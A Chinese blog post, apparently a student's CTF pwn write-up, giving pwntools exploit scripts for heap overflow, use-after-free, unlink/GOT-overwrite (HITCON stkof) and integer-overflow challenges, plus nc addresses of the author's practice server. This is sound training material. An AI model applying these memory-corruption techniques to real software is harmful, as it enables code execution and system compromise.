题集之三+新生考核wp

文章介绍了两个堆溢出和UAF(UseAfterFree)漏洞的示例,通过伪造chunk和利用内存管理错误,实现了任意地址写和代码执行。展示了如何在具有NX和Canary保护的环境中利用这些漏洞进行exploit。
摘要由CSDN通过智能技术生成

题集之三

本周开始写堆相关的题

ezheap

Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)

就一个简简单单的堆溢出,直接看exp吧

from pwn import *
context(os='linux',arch='i386',log_level='debug')
sh = process("./ezheap")
# sh = remote("node5.anna.nssctf.cn",28070)

payload = b'a'*0x20 + b'\sh'
sh.sendline(payload)
sh.interactive()

UAF

[*] '/home/xunan/桌面/Pwn/heap/UAF/pwn'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

NX保护和canary,四肢健全(增删改查)。需要注意的是show功能,会将申请的序号为0的堆中的内容作为命令执行。

unsigned int show()
{
  int v1; // [esp+8h] [ebp-10h] BYREF
  unsigned int v2; // [esp+Ch] [ebp-Ch]

  v2 = __readgsdword(0x14u);
  puts("Input page");
  __isoc99_scanf("%d", &v1);
  if ( v1 )
  {
    if ( v1 <= 0 || v1 > i )
      puts("NO PAGE");
    else
      echo((&page)[v1]);
  }
  else
  {
    (*((void (__cdecl **)(char *))page + 1))(page);
  }
  return __readgsdword(0x14u) ^ v2;
}

同时我们也无法通过edit对序号0的堆做出修改,所以利用UAF将其值修改即可。

from pwn import *
sh = process("./pwn")
context(os='linux',arch='amd64',log_level='debug')

def malloc():
    sh.recvuntil(b':')
    sh.sendline(str(1))
def edit(idx,text):
    sh.recvuntil(b':')
    sh.sendline(str(2))
    sh.sendline(str(idx))
    sh.sendline(text)
def free(idx):
    sh.recvuntil(b':')
    sh.sendline(str(3))
    sh.sendline(str(idx))
def show(idx):
    sh.recvuntil(b':')
    sh.sendline(str(4))
    sh.sendline(str(idx))

nico_addr = 0x8048642
malloc()
free(0)
malloc()
edit(1,b'sh\x00\x00'+p32(nico_addr))
show(0)
sh.interactive()

unlike

前情提要:每周要至少写五道题,结果本周给新生出题,间接导致题目没写够,所以拿来自己的学习笔记来凑个数,笔记是跟着ctf wiki学的,题目的 exp 在最后。

原理

​ 通过伪造fake chunk,假设存在指针*p指向fake chunk,使fd=p-0x18,bk=p-0x10,然后想办法使fake chunk触发unlink即可。

​ 在本例中选择伪造next chunk的prev_chunksize使其相信fake chunk已被释放,从而在释放next chunk的时候向前合并触发unlink。

作用

通过控制

用法解析

本题复现:题目链接

​ 在本题中使用了一个指针列表 global 用来存放所有申请的chunk,列表中的指针指向堆(但是具体是堆的哪里我就不太清楚了,个人感觉好像是堆的user_data部分"关于这一部分我觉得可以参考一下堆申请后指针指向位置")。所以我们可以通过 fake chunk 将 global 列表中的地址改为&global[ ]-0x18。正式由于这样我们才能实现任意地址写。

​ 顺带一提,这道题也是实现了任意地址写,通过这种方式,殊途同归了属于是。

​ 由于IO解析看不懂,这里我就暂时不贴了,想看的话可以点下面的链接跳转过去

基本信息
➜  2014_hitcon_stkof git:(master) file stkof
stkof: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=4872b087443d1e52ce720d0a4007b1920f18e7b0, stripped
➜  2014_hitcon_stkof git:(master) checksec stkof
[*] '/mnt/hgfs/Hack/ctf/ctf-wiki/pwn/heap/example/unlink/2014_hitcon_stkof/stkof'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

可以看出,程序是 64 位的,主要开启了 Canary 和 NX 保护。

基本功能

程序存在 4 个功能,经过 IDA 分析后可以分析功能如下

  • alloc:输入 size,分配 size 大小的内存,并在 bss 段记录对应 chunk 的指针,假设其为 global
  • read_in:根据指定索引,向分配的内存处读入数据,数据长度可控,这里存在堆溢出的情况
  • free:根据指定索引,释放已经分配的内存块
  • useless:这个功能并没有什么卵用,本来以为是可以输出内容,结果什么也没有输出
本题思路
  • 利用 unlink 修改 global[2] 为 &global[2]-0x18。
  • 利用编辑功能修改 global[0] 为 free@got 地址,同时修改 global[1] 为 puts@got 地址,global[2] 为 atoi@got 地址。
  • 修改 free@gotputs@plt 的地址,从而当再次调用 free 函数时,即可直接调用 puts 函数。这样就可以泄漏函数内容。
  • free global[1],即泄漏 puts@got 内容,从而知道 system 函数地址以及 libc 中 /bin/sh 地址。
  • 修改 atoi@got 为 system 函数地址,再次调用时,输入 /bin/sh 地址即可。
关键参数解析
  1. global[ ] 指的就是申请的chunk列表,head指的就是global[]列表头部;

  2. free(3)之后他会unlike fake_chunk,然后他会将global[2]中的值改为;(&global[2])-0x18,此时再用edit(2)即可覆盖global列表;

  3. 通过修改global列表配合 exit 即可实现任意地址写。

exp
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
if args['DEBUG']:
    context.log_level = 'debug'
context.binary = "./stkof"
stkof = ELF('./stkof')
if args['REMOTE']:
    p = remote('127.0.0.1', 7777)
else:
    p = process("./stkof")
log.info('PID: ' + str(proc.pidof(p)[0]))
libc = ELF('./libc.so.6')
head = 0x602140


def alloc(size):
    p.sendline('1')
    p.sendline(str(size))
    p.recvuntil('OK\n')


def edit(idx, size, content):
    p.sendline('2')
    p.sendline(str(idx))
    p.sendline(str(size))
    p.send(content)
    p.recvuntil('OK\n')


def free(idx):
    p.sendline('3')
    p.sendline(str(idx))


def exp():
    # trigger to malloc buffer for io function
    alloc(0x100)  # idx 1
    # begin
    alloc(0x30)  # idx 2
    # small chunk size in order to trigger unlink
    alloc(0x80)  # idx 3
    # a fake chunk at global[2]=head+16 who's size is 0x20
    payload = p64(0)  #prev_size
    payload += p64(0x20)  #size
    payload += p64(head + 16 - 0x18)  #fd
    payload += p64(head + 16 - 0x10)  #bk
    payload += p64(0x20)  # next chunk's prev_size bypass the check
    payload = payload.ljust(0x30, 'a')

    # overwrite global[3]'s chunk's prev_size
    # make it believe that prev chunk is at global[2]
    payload += p64(0x30)

    # make it believe that prev chunk is free
    payload += p64(0x90)
    edit(2, len(payload), payload)

    # unlink fake chunk, so global[2] =&(global[2])-0x18=head-8
    free(3)		# 向前合并 fake_chunk
    p.recvuntil('OK\n')

    # overwrite global[0] = free@got, global[1]=puts@got, global[2]=atoi@got
    payload = 'a' * 8 + p64(stkof.got['free']) + p64(stkof.got['puts']) + p64(stkof.got['atoi'])
    edit(2, len(payload), payload)

    # edit free@got to puts@plt
    payload = p64(stkof.plt['puts'])
    edit(0, len(payload), payload)

    # free global[1] to leak puts addr
    free(1)
    puts_addr = p.recvuntil('\nOK\n', drop=True).ljust(8, '\x00')
    puts_addr = u64(puts_addr)
    log.success('puts addr: ' + hex(puts_addr))
    libc_base = puts_addr - libc.symbols['puts']
    binsh_addr = libc_base + next(libc.search('/bin/sh'))
    system_addr = libc_base + libc.symbols['system']
    log.success('libc base: ' + hex(libc_base))
    log.success('/bin/sh addr: ' + hex(binsh_addr))
    log.success('system addr: ' + hex(system_addr))

    # modify atoi@got to system addr
    payload = p64(system_addr)
    edit(2, len(payload), payload)
    p.send(p64(binsh_addr))
    p.interactive()


if __name__ == "__main__":
    exp()

快来签到

前面有说到,本周为新生出了点题,不过学弟暂时只做出来两道,一道签到一道整数溢出,由于出的题也要做wp,所以这里就拿来凑数了。

出题思路

本意是为了防止学弟一道都写不出来留的签到题,64位编译,直接给shell,但是为了恶搞整了个udx加壳,反编译看不懂,嘿嘿

解题思路

直接nc即可获得shell

$ nc 8.130.106.113 10001
ls
bin
dev
flag.txt
lib
lib32
lib64
pwn

pwn1

出题思路

本意是考一下整数溢出来着,后来想了想索性字符串溢出一起考了,不过由于没测题所以比较意外的是居然还要注意栈对齐。

关于栈对齐的知识,可以参考这篇文章 > 传送门 <

解题思路
$checksec pwn1
[*] '/home/xunan/桌面/Pwn/newpwn/pwnlist/pwn1'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
--------------------------------------------------
__int64 vuln()
{
  __int64 result; // rax
  int nbytes; // [rsp+Ch] [rbp-34h] BYREF
  char nbytes_4[44]; // [rsp+10h] [rbp-30h] BYREF
  int v3; // [rsp+3Ch] [rbp-4h]

  __isoc99_scanf("%d", &nbytes);
  puts("Input you payload:");
  read(0, nbytes_4, (unsigned int)nbytes);
  v3 = strlen(nbytes_4);
  if ( v3 > 32 || (result = (unsigned int)nbytes, nbytes > 32) )
  {
    puts("size out.");
    exit(0);
  }
  return result;
}

查看关键函数可以看到,本题有一个整数溢出和一个字符串溢出,另外其实有一个后门函数。

所以绕过这两处之后直接跳转到后门函数即可,不过需要注意可能需要进行栈对齐

from pwn import *
sh = process('./pwn1')

backdoor_addr = 0x40081B
ret_addr = 0x400611
sh.sendline(str(-1))
payload = b'\x00'*0x30 + p64(0) + p64(backdoor_addr)
sh.sendline(payload)
sh.interactive()

最后(xinshengkaohe)

最后的最后,新生考核赛已经完事儿了,租的服务器暂时闲置了,但是比赛的pwn题还在上面跑着。至少还能跑一周吧,都是一些比较新手向的题目,感兴趣的可以连上去看看。
题目以及源码放资源里嘞,复现环境看下面

ex2	: nc 8.130.106.113 10000
pwn	: nc 8.130.106.113 10001
pwn1: nc 8.130.106.113 10002
pwn2: nc 8.130.106.113 10003
pwn3: nc 8.130.106.113 10004

就这样吧,诸君武运亨通共勉。

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值